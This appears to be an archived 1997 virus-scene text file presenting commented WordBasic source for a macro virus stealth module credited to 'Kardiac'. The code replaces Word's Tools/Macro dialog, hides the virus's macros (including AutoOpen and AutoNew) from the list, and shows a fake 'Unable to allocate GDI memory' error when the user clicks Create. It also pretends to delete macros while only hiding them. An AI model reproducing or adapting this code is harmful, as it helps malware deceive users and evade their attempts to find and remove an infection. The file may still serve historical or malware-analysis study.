home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / STEALTH.ZIP / STEALTH.TXT
Text File  |  1997-01-08  |  7KB  |  235 lines

  1.       --------------------------------------------------------------
  2.                       A new macro virus (written by Kardiac)
  3.                              ,
  4.          By     <****{=============-
  5.                  ' AuRoDrEpH, the Drow
  6.       --------------------------------------------------------------
  7.  
  8. An interesting source commented by his author... thanks to him..
  9.  
  10. ==========================================================================
  11.  
  12. '**************
  13. '* ToolsMacro *
  14. '********************************************************************
  15. '* Macro-Stealth.                                                   *
  16. '*                                                                  *
  17. '* This macro will Stealth its existance from the user, via the     *
  18. '* Tools/Macro menu.  Any macros deleted by the user will become    *
  19. '* Stealthed.                                                       *
  20. '*                                                                  *
  21. '*                                                      Kardiac.    *
  22. '*                                                                  *
  23. '********************************************************************
  24.  
  25.  
  26. Dim Shared listDisp$(2)          ' Display Options. Normal.Dot, Global 
  27. Dim Shared MacList$(128)         ' Displayed list of Macro names.
  28. Dim Shared MacDesc$(1)           ' Macro Description.
  29. Dim Shared StealthMacList$(128)' List of macros to be Stealthed.
  30. Dim Shared StealthMacNum         ' Number of Macros to be Stealthed.
  31. Dim Shared StealthFlag           ' Stealth Flag
  32. Dim Shared CurrentStealthMacCount
  33.                              ' Variable for counting Stealthed Macros  
  34.                              ' in the current Context.
  35. Dim Shared Context                       ' Current Macros Context Normal or 
  36.                              ' Active.
  37.  
  38.  
  39. Sub BuildMacList(MacList$(), Context)
  40. On Error Goto ErrorHandler
  41.  
  42. ' Find how many Macros we need to stealth in the current Macro List
  43. ' using the current Macro Context.
  44.  
  45. CurrentStealthMacCount = 0              ' Count how many we need to hide.
  46.  
  47.  
  48. For count = 1 To (CountMacros(Context))
  49.  
  50.     StealthFlag = 0                         ' Assume we have nothing to hide.
  51.     For x = 0 To StealthMacNum      ' Check our list of Macros..
  52.  
  53.         If InStr(StealthMacList$(x), MacroName$(count, Context)) <> 0 \
  54.         Then
  55.             StealthFlag = 1         ' We have to hide MacroName$(count..
  56.             CurrentStealthMacCount = CurrentStealthMacCount + 1
  57.         End If
  58.  
  59.     Next x
  60.  
  61. Next count
  62.  
  63. ' ReDimension the MacList to the number of Macros in the Current 
  64. ' Macro Context. 
  65. ' MacroList$ = (RealMacList$ - StealthMacList$)
  66.  
  67. If ((CountMacros(Context) - CurrentStealthMacCount) - 1) > - 1 Then
  68.     Redim MacList$((CountMacros(Context) - CurrentStealthMacCount) - 1)
  69.     Else
  70.     Redim MacList$(0)
  71.     MacList$(0) = ""
  72. End If
  73.  
  74. StealthMacCount = 0             ' Count how many Stealthed Macros we have                                                       ' found in the Current Macro Context..
  75.  
  76. For count = 1 To (CountMacros(Context))
  77.  
  78.     StealthFlag = 0         ' is MacroName$(count.. a member of StealthList
  79.     For x = 0 To StealthMacNum       
  80.         If InStr(StealthMacList$(x), \
  81.             MacroName$(count, Context)) <> 0 Then
  82.             StealthFlag = 1
  83.         End If
  84.     
  85.     Next x
  86.  
  87.  
  88.     ' If StealthFlag = 0 then Add MacroName$(count) to the MacList$
  89.  
  90.     If (StealthFlag = 0) Then       
  91.     MacList$(count - StealthMacCount - 1) = MacroName$(count, Context)
  92.     Else
  93.         StealthMacCount = StealthMacCount + 1
  94.     End If
  95. Next count
  96. Goto xEnd
  97.  
  98. ErrorHandler:
  99.     ' Say nothing..
  100.  
  101. xEnd:
  102. End Sub
  103.  
  104.  
  105.  
  106. '**********
  107. '** MAIN **
  108. '**********
  109.  
  110. Sub MAIN
  111.  
  112.  
  113. DisableInput 1
  114. DisableAutoMacros 0
  115. Context = 0
  116.  
  117.  
  118. '       List of Macros to Stealth..
  119. StealthMacList$(0) = "XToolsMacro"
  120. StealthMacList$(1) = "CCC"
  121. StealthMacList$(2) = "BBB"
  122. StealthMacList$(3) = "AutoNew"
  123. StealthMacList$(4) = "AutoOpen"
  124.  
  125. StealthMacNum = 5
  126.  
  127.  
  128.  
  129. BuildMacList(MacList$, Context)
  130.  
  131. listDisp$(0) = "All Active Templates"
  132. listDisp$(1) = "Normal.dot (Global Template)"
  133. listDisp$(2) = "Word Commands"
  134.  
  135. Begin Dialog UserDialog 424, 308, "Macro", .StealthToolMacro
  136.     ComboBox 7, 28, 250, 160, MacList$(), .MacList
  137.     Text 6, 12, 101, 13, "&Macro Name:"
  138.     Text 6, 193, 152, 29, "Macros &Available in:"
  139.     Text 3, 234, 92, 13, "Description:", .Descr
  140.     TextBox 5, 248, 388, 39, .MacDesc, 1
  141.     ListBox 392, 248, 24, 36, MacList$(), .DummyListBox
  142.     DropListBox 5, 209, 411, 83, listDisp$(), .DispList
  143.     PushButton 274, 19, 140, 21, "&Record", .Record
  144.     PushButton 274, 45, 140, 21, "Cancel", .Cancel
  145.     PushButton 274, 75, 140, 21, "Run", .Run
  146.     PushButton 274, 99, 140, 21, "Create", .Create
  147.     PushButton 274, 124, 140, 21, "Delete", .Delete
  148.     PushButton 274, 154, 140, 21, "Organizer...", .Organizer
  149. End Dialog
  150.  
  151. Dim dlg As UserDialog
  152.  
  153. Dialog(dlg, 2)
  154.  
  155. bye:
  156.  
  157. DisableInput 0
  158. DisableAutoMacros 1
  159.  
  160.  
  161. End Sub
  162.  
  163. Function StealthToolMacro(ControlID$, action, SuppValue)
  164.  
  165. Select Case Action
  166.     Case 1
  167. '               Inialise
  168.         DlgEnable "Delete", 0
  169.         DlgEnable "MacDesc", 0
  170.         DlgValue "DispList", 1          ' Default option Normal.Dot
  171.  
  172.     Case 2
  173. 'MsgBox ControlID$
  174.         Select Case ControlID$
  175.             Case "MacList"                  
  176.                 DlgEnable "Delete", 1
  177.                 DlgEnable "MacDesc", 1' Update the Description text..
  178.                 DlgText "MacDesc", MacroDesc$(MacList$(SuppValue))
  179.                 DlgText "Create", "Edit"
  180.     
  181.                 StealthToolMacro = 1
  182.             Case "DispList"
  183.                     selectedItem = DlgValue("MacList")
  184.                     
  185.                     Select Case SuppValue
  186.                         Case 0
  187.                             Context = 1     ' Active template
  188.                         Case 1
  189.                             Context = 0     ' Normal template
  190.                         Case Else
  191.                             ' They have requested the Interal Word
  192.                             ' Command List
  193.                     End Select
  194.  
  195.                     BuildMacList(MacList$, Context)
  196.                     
  197.                     DlgListBoxArray "MacList", MacList$()
  198.                     DlgFocus "MacList"
  199.                     DlgText MacList, ""
  200.                     DlgValue "MacList", selectedItem
  201.         
  202.                     StealthToolMacro = 1
  203.     
  204.             Case "Create"
  205.                 MsgBox "Dialog Error: Unable to allocate GDI memory.", \
  206.                     "Word Basic Error = 182", 16
  207.                 DlgFocus "Cancel"
  208.                 DlgEnable "Create", 0
  209.  
  210.                 StealthToolMacro = 1
  211.             Case "Delete"
  212.                 If DlgValue("MacList") >= 0 Then
  213.                     StealthMacList$(StealthMacNum + 1) = \
  214.                         MacList$(DlgValue("MacList"))
  215.                     StealthMacNum = StealthMacNum + 1
  216.                 
  217.                     BuildMacList(MacList$, Context)
  218.                 
  219.                     DlgListBoxArray "MacList", MacList$()
  220.                     DlgFocus "MacList"
  221.                     DlgText MacList, ""
  222.                 End If
  223.     
  224.                 StealthToolMacro = 1
  225.  
  226.             Case Else
  227. '                               Do nothing..
  228.         End Select
  229.     Case Else
  230. End Select
  231.  
  232.  
  233. End Function
  234. ==========================================================================
  235.